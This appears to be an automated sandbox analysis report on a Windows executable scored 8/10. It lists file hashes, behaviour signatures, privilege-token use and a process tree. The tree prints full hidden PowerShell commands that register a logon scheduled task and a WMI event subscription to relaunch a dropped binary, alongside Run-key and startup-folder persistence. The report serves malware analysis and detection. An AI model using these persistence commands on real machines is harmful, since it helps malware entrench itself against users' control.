Analysis
- max time kernel
149s - max time network
135s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
23/04/2026, 18:40
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
test-windows-amd64.exe
Resource
win10v2004-20260130-en
7 signatures
150 seconds
Behavioral task
behavioral2
Sample
test-windows-amd64.exe
Resource
win11-20260130-en
7 signatures
150 seconds
General
- Target test-windows-amd64.exe
- Size 24.2MB
- Sample260423-xbe89aev4m
- SHA256 74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e
- MD5 88c862e939245584a706b3111535e185
- SHA1 352632681a63aca7e3d67bdeda6cba5a58515489
- SHA512 0e11e3e5b81c6537559be18e19617f4349ff6fe403f5eb18fc572327e7378157d14b4a24560dc0c8adf85ed1138ec72aede0d59db462658689efa9cb25c6ce22
- SSDEEP 196608:mDOIo6d+8oTOvYWLDpQ95FgyjK31bxym2C8gzbkVdmXP0:mRd+8dVFym2C8gXkVdV
- TLSH T1B2473A23F8921994D4EEC5709672816BBA763C291B3813E716E0F3305F3BBD09AB6751
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 5048 powershell.exe 3452 powershell.exe 2404 powershell.exe - Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-972220568.tmp test-windows-amd64.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\agent-1624653143.tmp bbg881here.exe - Executes dropped EXE 1 IoCs
pid Process 3288 bbg881here.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-951a84f4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\bbg881here.exe\"" test-windows-amd64.exe Set value (str) \REGISTRY\USER\S-1-5-21-2122505878-652277452-2375749442-1000\Software\Microsoft\Windows\CurrentVersion\Run\OverlordAgent-951a84f4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\DeviceSync\\bbg881here.exe\"" bbg881here.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2404 powershell.exe 2404 powershell.exe 5048 powershell.exe 5048 powershell.exe 3452 powershell.exe 3452 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2404 powershell.exe Token: SeDebugPrivilege 5048 powershell.exe Token: SeIncreaseQuotaPrivilege 2404 powershell.exe Token: SeSecurityPrivilege 2404 powershell.exe Token: SeTakeOwnershipPrivilege 2404 powershell.exe Token: SeLoadDriverPrivilege 2404 powershell.exe Token: SeSystemProfilePrivilege 2404 powershell.exe Token: SeSystemtimePrivilege 2404 powershell.exe Token: SeProfSingleProcessPrivilege 2404 powershell.exe Token: SeIncBasePriorityPrivilege 2404 powershell.exe Token: SeCreatePagefilePrivilege 2404 powershell.exe Token: SeBackupPrivilege 2404 powershell.exe Token: SeRestorePrivilege 2404 powershell.exe Token: SeShutdownPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeSystemEnvironmentPrivilege 2404 powershell.exe Token: SeRemoteShutdownPrivilege 2404 powershell.exe Token: SeUndockPrivilege 2404 powershell.exe Token: SeManageVolumePrivilege 2404 powershell.exe Token: 33 2404 powershell.exe Token: 34 2404 powershell.exe Token: 35 2404 powershell.exe Token: 36 2404 powershell.exe Token: SeIncreaseQuotaPrivilege 2404 powershell.exe Token: SeSecurityPrivilege 2404 powershell.exe Token: SeTakeOwnershipPrivilege 2404 powershell.exe Token: SeLoadDriverPrivilege 2404 powershell.exe Token: SeSystemProfilePrivilege 2404 powershell.exe Token: SeSystemtimePrivilege 2404 powershell.exe Token: SeProfSingleProcessPrivilege 2404 powershell.exe Token: SeIncBasePriorityPrivilege 2404 powershell.exe Token: SeCreatePagefilePrivilege 2404 powershell.exe Token: SeBackupPrivilege 2404 powershell.exe Token: SeRestorePrivilege 2404 powershell.exe Token: SeShutdownPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeSystemEnvironmentPrivilege 2404 powershell.exe Token: SeRemoteShutdownPrivilege 2404 powershell.exe Token: SeUndockPrivilege 2404 powershell.exe Token: SeManageVolumePrivilege 2404 powershell.exe Token: 33 2404 powershell.exe Token: 34 2404 powershell.exe Token: 35 2404 powershell.exe Token: 36 2404 powershell.exe Token: SeIncreaseQuotaPrivilege 2404 powershell.exe Token: SeSecurityPrivilege 2404 powershell.exe Token: SeTakeOwnershipPrivilege 2404 powershell.exe Token: SeLoadDriverPrivilege 2404 powershell.exe Token: SeSystemProfilePrivilege 2404 powershell.exe Token: SeSystemtimePrivilege 2404 powershell.exe Token: SeProfSingleProcessPrivilege 2404 powershell.exe Token: SeIncBasePriorityPrivilege 2404 powershell.exe Token: SeCreatePagefilePrivilege 2404 powershell.exe Token: SeBackupPrivilege 2404 powershell.exe Token: SeRestorePrivilege 2404 powershell.exe Token: SeShutdownPrivilege 2404 powershell.exe Token: SeDebugPrivilege 2404 powershell.exe Token: SeSystemEnvironmentPrivilege 2404 powershell.exe Token: SeRemoteShutdownPrivilege 2404 powershell.exe Token: SeUndockPrivilege 2404 powershell.exe Token: SeManageVolumePrivilege 2404 powershell.exe Token: 33 2404 powershell.exe Token: 34 2404 powershell.exe Token: 35 2404 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 4160 wrote to memory of 2404 4160 test-windows-amd64.exe 80 PID 3288 wrote to memory of 5048 3288 bbg881here.exe 84 PID 3288 wrote to memory of 3452 3288 bbg881here.exe 87
Processes
-
C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe"C:\Users\Admin\AppData\Local\Temp\test-windows-amd64.exe"1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2404
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'bbg881here_b0385c73' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5048
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'bbg881here_fb0385c73'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'bbg881here_cb0385c73'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\bbg881here.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='bbg881here_fb0385c73'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='bbg881here_cb0385c73'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3452
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
- MD5 9f3107a91c0a75eb75418f89fe7dcbcd
- SHA1 4538595145969d10d68c8d5fd73d51a58cde93d4
- SHA512 12506d31fba03a505c3921876135d8b9cd5fd3659c5c97b2158001ab788f0f9dcff055e95be1bd33583098848efd1036d05c0b6e23d7191b02b444a37d0dbf2c
- TLSH T1F381CD323375A0D4C9563F07192C19C463AF4396EA58AF4CB658620EE92B54BDB222F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 08334e54918768860b690c3b8bdb15b0b0a5b0f3b5d04947f1a9891d4016e7b0
- MD5 8b12645c4d55fa98801e22d38b49f0c6
- SHA1 4b9104f0633ee3bb78c51a39725e665545f1881d
- SHA512 867c0f83e73d736cf6020f774618561b5d7531f1e45b782cade4fdd613f96d2e7a6a7de37dbca6e5b9e76890d9c6814c5e96ba0f32ef04a4637783ad50d8ac2a
- TLSH T148216533B3ECC125C8D9117A208CAD01B2B5C3CB449E8F8B6A84C619957F9DADB641A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ykavevqd.it2.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-264659867.tmp
- Size 24.2MB
- SHA256 74600e0bb2d0d7597b5383575f30076a8204d66c0491f2650fd84935f5648c2e
- MD5 88c862e939245584a706b3111535e185
- SHA1 352632681a63aca7e3d67bdeda6cba5a58515489
- SHA512 0e11e3e5b81c6537559be18e19617f4349ff6fe403f5eb18fc572327e7378157d14b4a24560dc0c8adf85ed1138ec72aede0d59db462658689efa9cb25c6ce22
- SSDEEP 196608:mDOIo6d+8oTOvYWLDpQ95FgyjK31bxym2C8gzbkVdmXP0:mRd+8dVFym2C8gXkVdV
- TLSH T1B2473A23F8921994D4EEC5709672816BBA763C291B3813E716E0F3305F3BBD09AB6751
- MD5 SHA1 SHA512 SSDEEP TLSH